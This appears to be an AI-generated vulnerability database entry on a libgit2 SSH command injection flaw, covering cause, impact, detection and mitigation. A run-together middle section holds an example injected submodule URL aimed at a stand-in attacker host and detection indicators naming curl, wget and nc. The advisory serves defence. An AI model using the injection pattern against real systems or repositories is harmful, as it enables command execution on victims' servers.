
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-5917 is a shell command injection vulnerability in libgit2 affecting versions v0.27.0 through v1.9.0 when built with the libssh2 SSH backend (USE_SSH=libssh2). The flaw allows remote attackers to execute arbitrary commands on an SSH server by supplying a repository path containing unescaped shell metacharacters (e.g., single quotes, semicolons, or pipes). It was published on August 11, 2026, and assigned by VulnCheck. It carries a CVSS v3.1 base score of 9.6 (Critical) and a CVSS v4.0 base score of 9.4 (Critical) (GitHub Advisory, Feedly).
The root cause is improper neutralization of special elements used in an OS command (CWE-78). Specifically, the gen_proto() function in ssh_libssh2.c constructs a shell command string by directly inserting the repository path without escaping special characters, then passes this string to libssh2_channel_exec(). An attacker can craft a malicious submodule URL in a .gitmodules file containing shell metacharacters; when a victim performs a recursive clone of the attacker-controlled repository, the remote SSH server's shell interprets the injected commands under the victim's SSH user account. No privileges are required on the attacker's side, but user interaction (the victim initiating a recursive clone) is necessary (GitHub Advisory, VulnCheck Advisory).
Successful exploitation results in arbitrary command execution on the remote SSH server under the victim's SSH user account, yielding high confidentiality, integrity, and availability impact on both the vulnerable and subsequent systems. An attacker can exfiltrate sensitive data, modify or destroy files, disrupt services, and potentially pivot to other systems accessible from the compromised SSH account. The changed scope in CVSS v3.1 reflects that impact extends beyond the directly vulnerable component to the broader SSH server environment (GitHub Advisory, Feedly).
As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Feedly). The EPSS score is 0.0, indicating a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported. However, the attack complexity is low and no privileges are required, making it straightforward to exploit once a victim is socially engineered into performing a recursive clone of a malicious repository.
.gitmodules file with a submodule URL that uses an SSH path embedding shell metacharacters, e.g., ssh://attacker.com/repo';malicious_command;'.USE_SSH=libssh2, e.g., git clone --recurse-submodules ssh://attacker.com/malicious-repo.gen_proto() in ssh_libssh2.c constructs a shell command string incorporating the unescaped repository path and passes it to libssh2_channel_exec()./var/log/auth.log or equivalent) showing command execution strings containing shell metacharacters (e.g., single quotes, semicolons, pipes) within the git-upload-pack or git-receive-pack command context; unexpected commands executed under the victim's SSH user account..ssh/authorized_keys files.sshd spawning curl, wget, bash, nc, or python) with arguments referencing external hosts or unusual paths (GitHub Advisory).Update libgit2 to a version newer than v1.9.0 once a patched release is available. As an immediate workaround, disable the libssh2 SSH backend by building libgit2 with USE_SSH=exec (which invokes an external OpenSSH binary) or USE_SSH=OFF if SSH support is not required. Additionally, validate and sanitize repository URLs and .gitmodules files before processing, implement input validation to reject repository paths containing shell metacharacters, and restrict or audit recursive clone operations from untrusted sources (GitHub Advisory, VulnCheck Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."